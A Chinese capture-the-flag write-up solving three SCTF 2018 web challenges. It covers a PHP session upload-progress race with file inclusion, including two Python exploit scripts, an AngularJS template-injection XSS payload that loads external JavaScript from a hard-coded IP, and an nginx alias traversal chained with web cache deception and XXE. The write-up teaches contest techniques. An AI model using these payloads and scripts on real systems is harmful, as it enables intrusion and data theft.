http://php.net/manual/zh/session.upload-progress.php
http://skysec.top/2018/04/04/amazing-phpinfo/

文件包含读phpinfo
http://116.62.71.206:52872/?f=phpinfo.php


开了 session.upload_progress.enabled = on 说明可以覆盖session
开了clean up说明需要竞争
竞争脚本附在最下方


这里实际上包含的session内容是:

admin|i:1;upload_progress_<?php echo file_get_contents("/tmp/flag_56CcE97QGNxDEXNpW3HY");?>|a:5:{s:10:"start_time";i:1529519759;s:14:"content_length";i:90736;s:15:"bytes_processed";i:5291;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:6:"upload";s:4:"name";s:7:"tmp.jpg";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1529519759;s:15:"bytes_processed";i:0;}}}

踩过的坑点

这道题调用了so来实现php的加解密,这里的文件包含调用了加密的index.php,所以要include也是include加密的php代码,但是这里的session只能控制<?php echo file_get_contents("/tmp/flag_56CcE97QGNxDEXNpW3HY");?>,最多也只是将session中的该片段进行加密,session其余的内容未加密也会导致解密出错

幸亏这题为了让选手能使用php伪协议,留了个直接php解析,不需要加密的"后门",只判断了://

所以可以用payload绕过加解密步骤,来include session并直接调用php解析

http://116.62.71.206:52872/?f=aa://../../../../var/lib/php/sessions/sess_qc2kavokdjiiepu283hduivod2

SessionUpload.py

#!coding:utf-8
import requests
import time

url = 'http://116.62.71.206:52872/?f=login.php'
data = {'name':'admin','pass':'sctf2018_h656cDBkU2'}

r = requests.post(url,data = data)
PHPSESSID = r.cookies['PHPSESSID']
print 'input the PHPSESSID in include.py' +'\n' + PHPSESSID
time.sleep(10)

while 1:
    url = 'http://116.62.71.206:52872/?f=upload_sctf2018_C9f7y48M75.php'
    files = { 
    "PHP_SESSION_UPLOAD_PROGRESS" : (None,'<?php echo file_get_contents("/tmp/flag_56CcE97QGNxDEXNpW3HY");?>'),  

    "upload" : ("tmp.jpg", open("tmp.png", "rb"), "image/png"), 

    "submit" : (None,"submit")
    }  
    #proxies = {'http':'http://127.0.0.1:8080'}
    headers = {'Cookie':'PHPSESSID=' + PHPSESSID}
    r = requests.post(url,files = files , headers = headers)
    print r.text
    print PHPSESSID
    #开了cleanup,需要竞争,并且保持回话的session

include.py

#!coding:utf-8

import requests
PHPSESSID = 'qc2kavokdjiiepu283hduivod2'
while 1:
    url = 'http://116.62.71.206:52872/?f=aa://../../../../var/lib/php/sessions/sess_' + PHPSESSID
    print url
    r = requests.get(url)
    if 'SCTF' in r.text:
        print r.text
        break

新的建议板

这题也是赛后做出来的

Angular JS模板注入
漏洞详情
https://blog.csdn.net/u011721501/article/details/51506364

留言暗示后台有机器人,所以,构造xss吧

后台是express,post错误类型参数会报错
suggest里post完马上get也有大概率会报错
login里传错误类型参数直接就保持连接但是没有应答...

能插入外部js的payload:
{{'a'.constructor.prototype.charAt=[].join;$eval('x=eval(atob("dmFyIHA9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7IHAuc3JjPSJodHRwOi8vMTM5LjE5OS4yMDYuMjE5L2IuanMiOyBkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHApOyA="))');}}

直接开x,读一下源码 发现后台有admin/file, 其中需要提交filepasswd
这时候回到前台,查看假后台的源码 ,  views/admintest2313.html 里面有个memo,其中有请求api/memo/admintest2313,
我们按照名称来请求真正后台的memo, /api/memos/adminClound
会得到filepasswd:HGf^&39NsslUIf^23
再csrf post过去就得到flag了

flag:sctf{T4is_is_flag2313}

NGINX的秘密

hint4:/editxxxxx怎么也能访问?
hint3:路由嘛,扫一扫目录就知道了。views.py是读不出来的233333
hint2:这个路由好生奇怪
hint1:从nginx的典型错误配置入手吧

这题是赛后以及在wupco师傅指导下做出来的,膜师傅orz
一开始比赛过程中只找到一个XXE,一直想读nginx配置文件读不到,赛后才知道nginx和后端不在同一个环境...

目标有5个功能点

UserInfo
    EditMyinfo
    Write_your_plan
    import_and_export
    Post Bug

访问http://116.62.137.155:4455/user/admin ,看到

-syc-note 我已经把所有秘密写进secret plan了233333

推想需要读admin的/write_plan

发现存在nginx配置不当导致目录穿越漏洞。可以参考https://github.com/vulhub/vulhub/tree/master/nginx/insecure-configuration
http://116.62.137.155:4455/static../etc/nginx/nginx.conf 读取nginx配置文件,看到开启了代理缓存:

proxy_cache_path /tmp/mycache levels=1:2 keys_zone=my_cache:10m max_size=10g inactive=30s use_temp_path=off;

    limit_conn_zone $binary_remote_addr zone=conn:10m;
    limit_req_zone  $binary_remote_addr zone=allips:10m rate=2r/s;


    server {
        listen 4455 default_server;
        server_name localhost;

        location /static {
            alias /home/;
        }

        location ~* \.(css|js|gif|png){
            proxy_cache             my_cache;
            proxy_cache_valid       200 30s;
            proxy_pass              http://bugweb.app:8000;
            proxy_set_header        Host $host:$server_port;
            proxy_ignore_headers    Expires Cache-Control Set-Cookie;
        }

        location / {
            limit_conn conn 10;
            proxy_pass       http://bugweb.app:8000;
            proxy_set_header Host $host:$server_port;
        }
    }

匹配到~* .(css|js|gif|png)就进行缓存。

查看文档http://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_cache_path 了解proxy_cache_path的值的含义,得知缓存文件保存在/tmp/mycache,用于定义缓存文件名的proxy_cache_key未设置,则使用默认值 $scheme$proxy_host$request_uri,即文件名形式为MD5($scheme$proxy_host$request_uri),如果访问http://116.62.137.155:4455/write_plan/a.js/ ,则缓存文件名为MD5(http://bugweb.app:8000/write_plan/a.js/) ==6fcfa7b1e6bad837b70dc98c9b82b43b,由于proxy_cache_path设置了levels=1:2,因此缓存文件存在/tmp/mycache下的两级目录下,第一级目录名取MD5值的最后一个字符,第二级目录名取MD5值的倒数2、3个字符,例如/tmp/mycache/b/43/6fcfa7b1e6bad837b70dc98c9b82b43b,再通过任意文件读取即可读到缓存文件的内容。

由于路由很奇怪,访问/editxxxxx等同于访问/edit,同理访问/write_planxxxx等同于访问/write_planxxxx。因而构造http://116.62.137.155:4455/write_plan/a.js/ 提交给管理员访问,再读取缓存文件,可以找到ftp的帐号密码syc10ver Eec5TN9fruOOTp2G,再通过http://116.62.137.155:4455/import_and_export/ 的XXE读取/proc/net/arp,发现存在172.18.0.1~4,再通过ftp扫描这四个ip,在172.18.0.4发现文件flag327a6c4304ad5938eaf0efb6cc3e53dc

flag:sctf{Not_0n1y_xx3_but_als0_web_cache}

萌新团队, 有兴趣请关注我们的GitHub

0 条评论
某人
表情
可输入 255

没有评论